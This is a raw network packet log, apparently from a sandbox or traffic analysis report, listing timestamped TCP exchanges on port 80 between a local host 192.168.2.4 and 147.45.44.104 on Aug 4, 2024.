Aug 4, 2024 02:21:36.674762964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.674797058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.674832106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.674921036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.674968004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.674999952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675012112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675031900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675046921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675065041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675071001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675096989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675111055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675131083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675146103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675173998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675384998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675415993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675432920 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675450087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675462008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675484896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675493956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675518036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675529003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675559044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675743103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675775051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675791025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675808907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675821066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675841093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675851107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675874949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.675884008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.675916910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676171064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676203012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676223040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676237106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676248074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676269054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676280022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676301956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676311016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676335096 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676346064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676367044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676379919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676399946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676409960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676433086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676444054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676476955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676733971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676780939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676786900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676811934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676824093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676843882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676856041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676877975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676891088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676908970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676920891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676942110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676951885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.676974058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.676985979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677006006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677017927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677041054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677058935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677087069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677278996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677311897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677330017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677345037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677350998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677376986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677383900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677408934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677421093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677454948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677689075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677720070 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677742004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677758932 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677772045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677804947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677817106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677836895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677846909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677870035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677880049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677901983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677911997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677934885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677942991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.677968025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.677980900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.678015947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.678026915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.678049088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.678057909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.678081036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.678091049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.678113937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.678128004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.678155899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.678700924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.678752899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.678760052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.678786039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.678800106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.678819895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.678831100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.678853035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.678864956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.678885937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.678898096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.678920031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.678925991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.678951979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.678960085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.678985119 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.678997040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679018021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679024935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679049015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679059982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679083109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679095984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679115057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679124117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679147005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679157972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679193020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679601908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679652929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679652929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679685116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679698944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679728985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679735899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679768085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679778099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679800987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679812908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679833889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679838896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679867029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679873943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679898977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679909945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679929972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679940939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679961920 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679971933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.679994106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.679999113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680025101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680037022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680058002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680067062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680094957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680525064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680560112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680574894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680593967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680599928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680627108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680636883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680660009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680668116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680691957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680702925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680726051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680736065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680759907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680768013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680792093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680804968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680824995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680835009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680856943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680866003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680890083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680898905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680923939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680932999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680957079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.680964947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.680995941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.718409061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.718509912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.718528986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.718544960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.718554974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.718588114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.718597889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.718630075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.718642950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.718664885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.718677998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.718712091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.718760967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.718806028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.762945890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.762974977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763009071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763051987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763081074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763114929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763118982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763214111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763245106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763276100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763307095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763309002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763343096 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763345957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763371944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763398886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763479948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763510942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763526917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763545036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763551950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763592958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763597965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763631105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763643026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763680935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763813019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763844013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763858080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763878107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763886929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763910055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763917923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763942003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763948917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.763973951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.763984919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764018059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764288902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764319897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764342070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764353991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764360905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764386892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764395952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764420986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764431000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764452934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764467001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764503002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764506102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764548063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764553070 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764600039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764816046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764843941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764869928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764877081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764889002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764910936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764914036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764941931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764952898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.764975071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.764985085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765006065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.765014887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765042067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.765048027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765084982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765283108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.765315056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.765342951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765350103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.765352011 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765383959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.765391111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765415907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.765429974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765448093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.765459061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765481949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.765492916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765526056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765862942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.765894890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.765916109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765929937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.765938044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765961885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.765970945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.765995026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766006947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766027927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766038895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766060114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766073942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766092062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766104937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766124964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766135931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766156912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766169071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766189098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766200066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766222000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766232967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766253948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766263962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766287088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766295910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766329050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766783953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766814947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766841888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766848087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766859055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766879082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766894102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766911983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766937017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766943932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766954899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.766977072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.766983986 CEST	49757	80	192.168.2.4	147.45.44.104
